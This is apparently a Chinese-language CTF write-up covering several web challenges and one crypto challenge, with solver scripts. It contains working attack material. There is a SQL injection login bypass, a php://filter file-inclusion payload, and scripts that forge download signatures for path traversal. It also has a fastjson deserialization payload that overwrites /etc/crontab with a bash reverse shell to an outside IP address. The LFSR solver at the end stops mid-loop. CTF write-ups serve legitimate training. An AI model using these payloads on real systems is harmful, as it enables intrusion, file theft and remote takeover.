web
SecretPhotoGallery
username=admin&password=admin' UNION SELECT 1,'admin',3 --
发现有role是guest
源码提示key
GALLERY2024SECRET



然后文件包含
action=export&filepath=php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php

devweb
前端js加密但是泄露key
写个脚本登录 密码是123456
import requests
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import urllib.parse
# ================= 配置 =================
# 目标 URL
TARGET_URL = "http://14df2224-4567-4723-bb53-10d93663bd62.node5.buuoj.cn:81/login"
# 源码中注释掉的公钥
PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
# 构造 PEM 格式
PEM_PUBLIC_KEY = f"-----BEGIN PUBLIC KEY-----\n{PUBLIC_KEY_STR}\n-----END PUBLIC KEY-----"
def rsa_encrypt_base64(content):
"""
使用 PKCS1_v1_5 加密,并返回 Base64 字符串 (匹配 JSEncrypt 行为)
"""
try:
rsakey = RSA.import_key(PEM_PUBLIC_KEY)
cipher = PKCS1_v1_5.new(rsakey)
# 1. 加密
encrypted_bytes = cipher.encrypt(content.encode('utf-8'))
# 2. 转 Base64 (修复 500 错误的关键)
encrypted_b64 = base64.b64encode(encrypted_bytes).decode('utf-8')
return encrypted_b64
except Exception as e:
print(f"[!] 加密错误: {e}")
return None
def attempt_login(username, raw_password):
# 1. 加密密码
enc_password = rsa_encrypt_base64(raw_password)
if not enc_password:
return
# 2. 构造请求数据
# requests 的 data 字典会自动进行 URL 编码
payload = {
"username": username,
"password": enc_password
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
print(f"[*] 发送 Payload -> 用户名: {username} | 密码(明文): {raw_password}")
# 3. 发送 POST 请求
print(payload)
res = requests.post(TARGET_URL, data=payload, headers=headers, allow_redirects=False, timeout=5)
# 4. 结果判定
if res.status_code == 200:
# 检查响应内容判断是否成功,不同题目关键字不同,常见: 'success', 'flag', 'dashboard', 'token'
if "登录失败" not in res.text and ("success" in res.text or "true" in res.text or len(res.text) < 500):
print(f"[+] 登录成功! 响应内容: {res.text[:100]}...")
else:
print(f"[-] 登录失败 (200 OK 但内容不对)")
elif res.status_code == 302:
print(f"[+] 登录成功! (302 跳转) -> Location: {res.headers.get('Location')}")
elif res.status_code == 500:
print(f"[!] 500 错误: 后端解密依然失败。可能原因:公钥错误(假Key) 或 填充模式不对。")
else:
print(f"[-] 状态码: {res.status_code}")
except Exception as e:
print(f"[!] 请求异常: {e}")
if __name__ == "__main__":
print("--- 开始测试 ---")
attempt_login("admin", "123456")

登上去可以使用download这个接口
http://14df2224-4567-4723-bb53-10d93663bd62.node5.buuoj.cn/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6
可以下载app.jmx
里面给了下载文件所需要的salt这样可以实现任意文件下载
写个脚本吧
import hashlib
import requests
import base64
import urllib.parse
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
# ================= 配置区域 =================
# 基础域名 (注意端口号 81)
HOST = ""
# 接口路径
LOGIN_URL = f"{HOST}/login"
DOWNLOAD_URL = f"{HOST}/download"
# 签名所需的盐值 (从 app.jmx 逆向获得)
SALT = "f9bc855c9df15ba7602945fb939deefc"
# RSA 公钥 (从前端源码获得)
PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
PEM_PUBLIC_KEY = f"-----BEGIN PUBLIC KEY-----\n{PUBLIC_KEY_STR}\n-----END PUBLIC KEY-----"
class CTFExploit:
def __init__(self):
# 使用 Session 以保持 Cookie (如果下载需要登录态)
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) CTF-Exploit/1.0"
})
def _rsa_encrypt(self, content):
"""
RSA 加密逻辑: PKCS1_v1_5 填充 -> Base64 编码
"""
try:
rsakey = RSA.import_key(PEM_PUBLIC_KEY)
cipher = PKCS1_v1_5.new(rsakey)
encrypted_bytes = cipher.encrypt(content.encode('utf-8'))
return base64.b64encode(encrypted_bytes).decode('utf-8')
except Exception as e:
print(f"[!] 加密错误: {e}")
return None
def _calculate_sign(self, filename):
"""
签名计算逻辑: MD5( MD5(filename) + substr(MD5(filename), 5, 16) + SALT )
"""
# 1. firstMi = MD5(filename)
first_mi = hashlib.md5(filename.encode('utf-8')).hexdigest()
# 2. jieStr = firstMi.substring(5, 16)
jie_str = first_mi[5:16]
# 3. 拼接
new_str = first_mi + jie_str + SALT
# 4. sign = MD5(new_str)
sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()
return sign
def login(self, username, password):
"""
执行登录
"""
print(f"[*] 正在尝试登录: {username} / {password}")
enc_password = self._rsa_encrypt(password)
if not enc_password:
return False
payload = {
"username": username,
"password": enc_password
}
# 显式指定 Content-Type
headers = {"Content-Type": "application/x-www-form-urlencoded"}
try:
# 使用 session 发送
res = self.session.post(LOGIN_URL, data=payload, headers=headers, timeout=10)
if res.status_code == 200 and ("成功" in res.text or "success" in res.text):
print(f"[+] 登录成功!")
return True
elif res.status_code == 500:
print("[-] 登录返回 500 (可能公钥不对或后端报错)")
else:
print(f"[-] 登录失败: {res.status_code} - {res.text[:50]}")
except Exception as e:
print(f"[!] 登录请求异常: {e}")
return False
def download_file(self, target_path):
"""
执行文件下载
"""
sign = self._calculate_sign(target_path)
print("-" * 50)
print(f"[*] 尝试下载文件: {target_path}")
print(f"[*] 计算签名: {sign}")
params = {
"file": target_path,
"sign": sign
}
try:
# 使用 session 发送 GET 请求
resp = self.session.get(DOWNLOAD_URL, params=params)
if resp.status_code == 200:
content_len = len(resp.content)
print(f"[+] 下载成功! 大小: {content_len} bytes")
if content_len > 0:
print("\n[vvv 文件内容 vvv]")
try:
# 尝试解码为文本
print(resp.content.decode('utf-8'))
except:
# 二进制文件打印 Hex
print(resp.content[:100])
print("[^^^ 文件内容 ^^^]\n")
else:
print("[!] 文件内容为空")
else:
print(f"[-] 下载失败: HTTP {resp.status_code}")
# 500 通常意味着文件不存在或者 Java 抛出了异常
if resp.status_code == 500:
print(" 提示: 500 错误可能表示文件路径不存在,或者被安全策略拦截。")
except Exception as e:
print(f"[!] 下载请求异常: {e}")
if __name__ == "__main__":
exploit = CTFExploit()
exploit.login("admin", "123456")
target_files = [
"../../../../../../flag",
]
for file_path in target_files:
exploit.download_file(file_path)
sunset(复现)
弱口令 admin:123456登录

进去是一个密码重置功能,然后就没有其他功能点了
看到json格式是数据包可以测一手fastjson
{"@type":"java.lang.AutoCloseable"

fastjson 1.2.68 主要有一下打法
- Mysql connector RCE
- commons io 文件读写
- Jetty SSRF
- Apache xbean-reflect RCE
这里可以直接使用commons io 写文件,直接写定时任务
{
"x": {
"@type": "com.alibaba.fastjson.JSONObject",
"input": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String""* * * * * root bash -c 'bash -i >& /dev/tcp/117.72.157.7/4567 0>&1'
#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"branch": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/etc/crontab",
"encoding": "UTF-8",
"append": false
},
"charsetName": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"trigger2": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"trigger3": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
}
}
}
}
Crypto
lost LFSR key
from Crypto.Util.number import long_to_bytes
import itertools
import string
# 题目数据
mask = 9319439021858903464
c = 8882504877732087312989345828667663333297225833982945014279010438327750150593504327259176959316943362605442206624947923157363187067410478202161873663103506
# --------------------------
# 1. GF(2) 矩阵运算工具 (带零空间求解)
# --------------------------
class GF2Solver:
def __init__(self, size):
self.size = size
def vec_mul_mat(self, vec, mat):
"""行向量乘以矩阵 (vec * M)"""
res = 0
for col in range(self.size):
dot = 0
for row in range(self.size):
if (vec >> row) & 1:
if mat[row][col]:
dot ^= 1
if dot:
res |= (1 << col)
return res
def gauss_jordan(self, matrix, targets):
"""
高斯-若尔当消元,返回:
1. 特解 (particular_solution)
2. 零空间基向量列表 (null_space_basis)
"""
rows = len(matrix)
cols = len(matrix[0])
# 构建增广矩阵 [M | targets]
# 为了方便处理,我们用 list of lists 存储
aug = [row[:] + [targets[i]] for i, row in enumerate(matrix)]
pivot_row = 0
pivot_cols = [] # 记录主元所在的列
for j in range(cols):
if pivot_row >= rows:
break
# 寻找当前列 j 中,行 i >= pivot_row 的非零元素
curr = pivot_row
while curr < rows and aug[curr][j] == 0:
curr += 1
if curr == rows:
continue #这一列全是0,是自由变量
# 交换行
aug[pivot_row], aug[curr] = aug[curr], aug[pivot_row]
pivot_cols.append(j)
# 消元
for i in range(rows):
if i != pivot_row and aug[i][j] == 1:
for k in range(j, cols + 1):
aug[i][k] ^= aug[pivot_row][k]
pivot_row += 1
# 秩就是主元的个数
rank = len(pivot_cols)
print(f"[*] Matrix Rank: {rank}/{cols}. Free variables: {cols - rank}")
# 提取特解
particular = 0
# 对每个主元列,找到其对应的行,取增广部分的值
# 由于是RREF,主元所在的行就是 aug[i],且 aug[i][pivot_col] == 1 是该行唯一的非零主元
for i, p_col in enumerate(pivot_cols):
if aug[i][cols] == 1:
particular |= (1 << p_col)
# 提取零空间 (Null Space)
# 自由变量是指不在 pivot_cols 中的列
free_vars = [j for j in range(cols) if j not in pivot_cols]
null_basis = []
for free in free_vars:
# 构造一个基向量:设该自由变量为1,其他自由变量为0
# 然后求出主元变量的值
basis = (1 << free)
# 对于每个主元行 i,其对应的主元变量 x_{p_col} 满足:
# x_{p_col} + \sum (aug[i][free] * x_{free}) = 0 (也就是 = sum(...))
for i, p_col in enumerate(pivot_cols):
if aug[i][free] == 1:
basis |= (1 << p_col)
null_basis.append(basis)
return particular, null_basis
# --------------------------
# 2. 构建矩阵和方程
# --------------------------
N = 64
solver = GF2Solver(N)
# 构建状态转移矩阵 T
T = [[0] * N for _ in range(N)]
for i in range(N):
if (mask >> i) & 1: T[0][i] = 1
for r in range(1, N): T[r][r-1] = 1
# 收集方程
equations = []
targets = []
current_relation = mask # Mask * T^0
c_bin = bin(c)[2:].zfill(512)
for i in range(512):
if i % 8 == 0:
row = [(current_relation >> j) & 1 for j in range(N)]
equations.append(row)
targets.append(int(c_bin[i]))
current_relation = solver.vec_mul_mat(current_relation, T)
# --------------------------
# 3. 求解与穷举
# --------------------------
print("Solving...")
base_seed, null_basis = solver.gauss_jordan(equations, targets)
# 模拟器用于验证
class myRNG_solved():
def __init__(self, seed, mask):
self.seed = seed
self.mask = mask
def next(self):
i = self.seed & self.mask
Out = 0
while i != 0:
Out = Out ^ (i & 1)
i = i >> 1
self.seed = ((self.seed << 1) | Out) & ((1 << 64) - 1)
return Out
def get_myRNG_randbits(self, n):
temp = 0
for i in range(n):
temp = (temp << 1) | self.next()
return temp
# 穷举所有自由变量的组合
# 自由变量通常很少,比如 4-8 个,所以 2^8 = 256 次循环很快
print(f"[*] Brute-forcing {len(null_basis)} free variables...")
valid_chars = set(string.printable.encode())
for i in range(1 << len(null_basis)):
# 组合特解和零空间向量
candidate_seed = base_seed
for j in range(len(null_basis)):
if (i >> j) & 1:
candidate_seed ^= null_basis[j]
# 尝试解密
try:
gen = myRNG_solved(candidate_seed, mask)
key = gen.get_myRNG_randbits(64*8)
flag_long = key ^ c
flag_bytes = long_to_bytes(flag_long)
# 简单的启发式检查:Flag 应该包含常规字符
# 比如检查是否只包含字母数字和常规符号
if all(b in valid_chars for b in flag_bytes):
# 额外的检查:虽然我们strip了DASCTF,但内容通常是UUID或有意义的字符串
# 这里直接打印出来人工确认
print(f"\n[+] Found Candidate Seed: {candidate_seed}")
